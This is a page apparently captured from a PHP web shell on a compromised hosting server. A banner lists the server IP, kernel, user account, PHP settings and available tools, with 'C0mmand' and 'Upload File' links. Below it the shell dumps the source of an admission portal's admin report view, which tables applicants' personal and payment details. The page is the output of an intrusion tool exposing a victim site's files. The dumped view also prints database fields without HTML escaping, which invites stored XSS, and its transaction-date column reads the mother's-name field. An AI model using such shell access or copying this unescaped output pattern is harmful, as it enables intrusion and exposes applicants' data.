|
Server IP : 172.26.0.195 / Your IP : 3.128.226.128 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/application/models/../views/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Admission Form Report :: <?php echo $this->session->userdata("branchData")["branch_short_name"]; ?> | Asmission Portal</title>
<link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style-liberty.css"); ?>">
<link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
<link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' />
<link rel="stylesheet" href="<?php echo base_url("assets/admin/css/buttons.dataTables.min.css"); ?>" type='text/css' />
<link rel="image icon" href="<?php echo base_url("assets/images/logo.png"); ?>">
<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap" rel="stylesheet">
<script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/dataTables.buttons.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/jszip.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/pdfmake.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/vfs_fonts.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/buttons.print.min.js"); ?>"></script>
<script src="<?php echo base_url("assets/admin/js/buttons.html5.min.js"); ?>"></script>
</head>
<body class="sidebar-menu-collapsed">
<?php
$this->load->view("admin/navAndHeader");
?>
<!-- main content start -->
<div class="main-content">
<!-- content -->
<div class="container-fluid content-top-gap">
<nav aria-label="breadcrumb">
<ol class="breadcrumb my-breadcrumb">
<li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard") ?>">Home</a></li>
<li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Report/admissionReport"); ?>">Reports</a></li>
<li class="breadcrumb-item active" aria-current="page"><a href="">Admission Form Reports</a></li>
</ol>
<?php //echo $this->db->last_query(); ?>
</nav>
<section class="data-tables">
<div class="card card_border p-4">
<h3 class="card__title"><i class="fa fa-table"></i> Admission Form Reports</h3><br>
<div class="table-responsive">
<?php if ($this->session->flashdata('successMessage')) { ?>
<div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
<?php } ?>
<?php if ($this->session->flashdata('errorMessage')) { ?>
<div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
<?php } ?>
<fieldset>
<legend>Filters <i class="fa fa-filter"></i></legend>
<?php echo form_open(site_url('admin/Report/admissionReport'),array('name'=>'admissionReportForm','id'=>'admissionReportForm')); ?>
<div class="form-row">
<div class="form-group col-md-2">
<label for="form_no" class="input__label">Form Number</label>
<input type="text" class="form-control" id="form_no" name="form_no" value="<?php echo ($fno == "" || $fno == null) ? "" : $fno; ?>" placeholder="Enter Form Number" autocomplete="off" maxlength="150">
</div>
<div class="form-group col-md-2">
<label class="input__label" for="course">Course</label>
<select name="course" id="course" class="custom-select">
<option <?php echo set_select("course", ""); ?> value="">-Course-</option>
<?php
for ($i = 0; $i < sizeof($courses); $i++) {
$course = $courses[$i];
//echo $course;
?>
<option <?php if ($co == $course->course_id) echo "selected"; ?> <?php echo set_select("course", $course->course_id); ?> value="<?php echo $course->course_id; ?>" ><?php echo $course->course_name."-".$course->tcsm_course_type; ?></option>
<?php
}
?>
</select>
</div>
<div class="form-group col-md-2">
<label for="form_status" class="input__label">Form Status</label>
<select id="form_status" name="form_status" class="custom-select">
<option value="" <?php if ($f_status == "") echo "selected"; ?><?php echo set_select("form_status", ""); ?>>All</option>
<option value="T" <?php if ($f_status == "T") echo "selected"; ?> <?php echo set_select("form_status", "T"); ?>>Complete</option>
<option value="F" <?php if ($f_status == "F") echo "selected"; ?> <?php echo set_select("form_status", "F"); ?>>Incomplete</option>
</select>
</div>
<div class="form-group col-md-2">
<label for="startDate" class="input__label">Start Date</label>
<input type="text" class="form-control" id="startDate" name="startDate" value="<?php echo set_value('startDate'); ?>" placeholder="Choose Start Date" autocomplete="off" maxlength="15">
</div>
<div class="form-group col-md-2">
<label for="endDate" class="input__label">End Date</label>
<input type="text" class="form-control" id="endDate" name="endDate" value="<?php echo set_value('endDate'); ?>" placeholder="Choose End Date" autocomplete="off" maxlength="15">
</div>
<div class="form-group col-sm-2">
<label for="session_id" class="input__label">Session</label>
<select class="custom-select"
id="session_id" name="session_id" aria-describedby="session_id" >
<option value="">-Select Session-</option>
<?php
for ($i = 0; $i < sizeof($sessions); $i++) {
$s = $sessions[$i];
?>
<option <?php if ($s->session_status == "C") echo "selected"; ?> <?php echo set_select("session_id"); ?> value="<?php echo $s->session_id; ?>"><?php echo $s->session_name; ?></option>
<?php
}
?>
</select>
</div>
</div>
<div class="form-row">
<div class="col-md-12">
<label for="filterSubmitBtn" class="input__label"></label>
<button id="filterSubmitBtn" name="filterSubmitBtn" value="filterSubmitBtn" type="submit" class="btn btn-sm btn-warning pull-right">Apply Filter & Fetch Report <i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
</div>
</div>
<span id='error'></span>
<hr>
</fieldset>
<table id="usersData" class="bootstrap-datatable table-striped table-hover" style="width:100%">
<thead>
<tr>
<th>Sr. No</th>
<th>Form Number</th>
<th>Course</th>
<th>Session</th>
<th>Name</th>
<th>Email</th>
<th>Gender</th>
<th>DOB</th>
<th>Father's Name</th>
<th>Mother's Name</th>
<th>Transaction Date</th>
<th>Gateway_Transaction ID</th>
<th>Bank Reference No.</th>
<th>Registration Date</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Sr. No</th>
<th>Form Number</th>
<th>Course</th>
<th>Session</th>
<th>Name</th>
<th>Email</th>
<th>Gender</th>
<th>DOB</th>
<th>Father's Name</th>
<th>Mother's Name</th>
<th>Transaction Date</th>
<th>Gateway_Transaction ID</th>
<th>Bank Reference No.</th>
<th>Registration Date</th>
</tr>
</tfoot>
<tbody>
<?php
for ($i = 0; $i < sizeof($admissionForms); $i++) {
$record = $admissionForms[$i];
?>
<tr style='background-color:<?php echo $record->status == 'T' ? '' : '#ebccd2'; ?>'>
<td><?php echo ($i + 1); ?></td>
<td>
<a target='_blank' href="<?php echo site_url("admin/Report/admissionFormDetailedReport/$record->tspi_id"); ?>"><?php echo stripslashes($record->tspi_form_no); ?></a>
</td>
<td><?php echo stripslashes($record->course_name)."-".$record->tcsm_course_type; ?></td>
<td><?php echo stripslashes($record->session_name); ?></td>
<td> <a target='_blank' href="<?php echo site_url("admin/Report/admissionFormDetailedReport/$record->tspi_id"); ?>"><?php echo stripslashes($record->tspi_name); ?></a></td>
<td><?php echo stripslashes($record->tspi_email); ?></td>
<td><?php echo $record->tspi_gender == "M" ? "Male" : "Female"; ?></td>
<td><?php echo ($record->tspi_dob == null || $record->tspi_dob == "") ? "N/A" : date("d-m-Y", strtotime($record->tspi_dob)); ?></td>
<td><?php echo stripslashes($record->father); ?></td>
<td><?php echo stripslashes($record->mother); ?></td>
<td><?php echo date("d-m-Y H:i:s A", strtotime($record->mother)); ?></td>
<td><a target='_blank' data-toggle="tooltip" tooltip="Click To View Fee Acknowledgement." href="<?php echo site_url("admin/Report/feeAcknowledgement/$record->tspi_id"); ?>"><?php echo stripslashes($record->gateway_txnid); ?></a></td>
<td><?php echo stripslashes($record->bank_ref_no); ?></td>
<td><?php echo ($record->tspi_added_on == null || $record->tspi_added_on == "") ? "N/A" : date("d-m-Y", strtotime($record->tspi_added_on)); ?></td>
</tr>
<?php }
?>
</tbody>
</table>
</div>
</div>
</section>
</div>
<!-- //content -->
</div>
</div>
<!-- main content end-->
<?php
$this->load->view("admin/footer");
?>
<script>
// $(document).ready(function () {
// $("#usersData").DataTable();
// });
$(document).ready(function () {
$("#usersData").DataTable({responsive: true, dom: 'Blfrtip', buttons: [
{extend: 'copy', text: "<i class='fa fa-clipboard'></i> Copy"},
{extend: 'csv', text: "<i class='fa fa-table'></i> CSV"},
{extend: 'excel', text: "<i class='fa fa-file-excel-o'></i> Excel"},
{extend: 'pdfHtml5', text: "<i class='fa fa-file-pdf-o'></i> PDF", orientation: 'landscape', pageSize: 'LEGAL'}
]});
});
$(function () {
var dateFormat = "dd/mm/yy",
from = $("#startDate")
.datepicker({
dateFormat: dateFormat,
defaultDate: '0',
changeMonth: true,
changeYear: true,
numberOfMonths: 1
}).on("change", function () {
to.datepicker("option", "minDate", getDate(this));
}),
to = $("#endDate").datepicker({
dateFormat: dateFormat,
defaultDate: '0',
changeMonth: true,
changeYear: true,
numberOfMonths: 1
}).on("change", function () {
from.datepicker("option", "maxDate", getDate(this));
});
function getDate(element) {
var date;
try {
date = $.datepicker.parseDate(dateFormat, element.value);
} catch (error) {
date = null;
}
return date;
}
});
</script>
<script>
$(document).ready(function () {
document.getElementById("dashboard").classList.remove("active");
document.getElementById("reports").classList.remove("active");
document.getElementById("payment").classList.remove("active");
document.getElementById("upload").classList.remove("active");
document.getElementById("reports").classList.add("active");
});
</script>